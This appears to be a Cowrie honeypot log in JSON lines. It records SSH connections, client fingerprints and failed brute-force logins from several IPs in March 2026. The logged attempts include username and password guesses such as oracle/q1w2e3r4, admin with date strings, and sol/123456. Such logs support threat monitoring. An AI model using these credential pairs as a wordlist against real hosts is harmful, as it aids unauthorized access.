{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:40:37.880715Z","src_ip":"193.32.162.151","session":"bc67468c4418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"q1w2e3r4","message":"login attempt [oracle/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:40:38.266194Z","src_ip":"193.32.162.151","session":"bc67468c4418","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:40:39.372197Z","src_ip":"193.32.162.151","session":"bc67468c4418","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":53224,"dst_ip":"10.17.0.5","dst_port":22,"session":"deca13d9e79f","protocol":"ssh","message":"New connection: 80.94.92.186:53224 (10.17.0.5:22) [session: deca13d9e79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:40:49.257008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:40:49.338571Z","src_ip":"80.94.92.186","session":"deca13d9e79f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:40:49.489818Z","src_ip":"80.94.92.186","session":"deca13d9e79f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:40:50.595502Z","src_ip":"80.94.92.186","session":"deca13d9e79f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:40:51.805391Z","src_ip":"80.94.92.186","session":"deca13d9e79f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":37092,"dst_ip":"10.17.0.5","dst_port":22,"session":"455ad9c33673","protocol":"ssh","message":"New connection: 92.118.39.76:37092 (10.17.0.5:22) [session: 455ad9c33673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:41:05.402488Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:41:05.514039Z","src_ip":"92.118.39.76","session":"455ad9c33673","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":57234,"dst_ip":"159.203.135.109","dst_port":22,"session":"bee58c9891c6","protocol":"ssh","message":"New connection: 195.178.110.218:57234 (159.203.135.109:22) [session: bee58c9891c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:42:00.502109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:42:00.521460Z","src_ip":"195.178.110.218","session":"bee58c9891c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:42:00.597147Z","src_ip":"195.178.110.218","session":"bee58c9891c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:42:00.828748Z","src_ip":"195.178.110.218","session":"bee58c9891c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:42:01.913326Z","src_ip":"195.178.110.218","session":"bee58c9891c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":37192,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ec4a59ab537","protocol":"ssh","message":"New connection: 2.57.121.112:37192 (159.203.135.109:22) [session: 5ec4a59ab537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:42:30.422640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:42:30.427473Z","src_ip":"2.57.121.112","session":"5ec4a59ab537","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:42:30.524418Z","src_ip":"2.57.121.112","session":"5ec4a59ab537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03101973","message":"login attempt [admin/03101973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:42:30.984565Z","src_ip":"2.57.121.112","session":"5ec4a59ab537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03101971","message":"login attempt [admin/03101971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:42:32.083667Z","src_ip":"2.57.121.112","session":"5ec4a59ab537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030882","message":"login attempt [admin/030882] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:42:33.184483Z","src_ip":"2.57.121.112","session":"5ec4a59ab537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03081973","message":"login attempt [admin/03081973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:42:34.286513Z","src_ip":"2.57.121.112","session":"5ec4a59ab537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"030785","message":"login attempt [admin/030785] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:42:35.386621Z","src_ip":"2.57.121.112","session":"5ec4a59ab537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:42:36.486666Z","src_ip":"2.57.121.112","session":"5ec4a59ab537","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":36718,"dst_ip":"159.203.135.109","dst_port":22,"session":"fad057f857b4","protocol":"ssh","message":"New connection: 193.32.162.151:36718 (159.203.135.109:22) [session: fad057f857b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:42:54.587941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:42:54.608791Z","src_ip":"193.32.162.151","session":"fad057f857b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:42:54.740452Z","src_ip":"193.32.162.151","session":"fad057f857b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"1qaz@WSX3edc","message":"login attempt [oracle/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:42:55.135882Z","src_ip":"193.32.162.151","session":"fad057f857b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:42:56.256394Z","src_ip":"193.32.162.151","session":"fad057f857b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":55930,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8dd68096053","protocol":"ssh","message":"New connection: 80.94.92.186:55930 (10.17.0.5:22) [session: c8dd68096053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:43:53.891129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:43:54.141515Z","src_ip":"80.94.92.186","session":"c8dd68096053","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:43:54.147332Z","src_ip":"80.94.92.186","session":"c8dd68096053","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:43:56.874723Z","src_ip":"80.94.92.186","session":"c8dd68096053","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:43:57.988358Z","src_ip":"80.94.92.186","session":"c8dd68096053","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":41660,"dst_ip":"159.203.135.109","dst_port":22,"session":"f287c2d60be9","protocol":"ssh","message":"New connection: 195.178.110.218:41660 (159.203.135.109:22) [session: f287c2d60be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:44:39.804119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:44:39.808753Z","src_ip":"195.178.110.218","session":"f287c2d60be9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:44:39.889374Z","src_ip":"195.178.110.218","session":"f287c2d60be9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:44:40.129463Z","src_ip":"195.178.110.218","session":"f287c2d60be9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:44:41.211802Z","src_ip":"195.178.110.218","session":"f287c2d60be9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":52602,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6967162e524","protocol":"ssh","message":"New connection: 193.32.162.151:52602 (159.203.135.109:22) [session: b6967162e524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:45:03.740466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:45:03.745906Z","src_ip":"193.32.162.151","session":"b6967162e524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:45:03.860470Z","src_ip":"193.32.162.151","session":"b6967162e524","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"1qaz@WSX","message":"login attempt [oracle/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:45:04.187034Z","src_ip":"193.32.162.151","session":"b6967162e524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:45:05.295615Z","src_ip":"193.32.162.151","session":"b6967162e524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":53158,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce2efa03eb9c","protocol":"ssh","message":"New connection: 92.118.39.76:53158 (10.17.0.5:22) [session: ce2efa03eb9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:45:05.723177Z"}
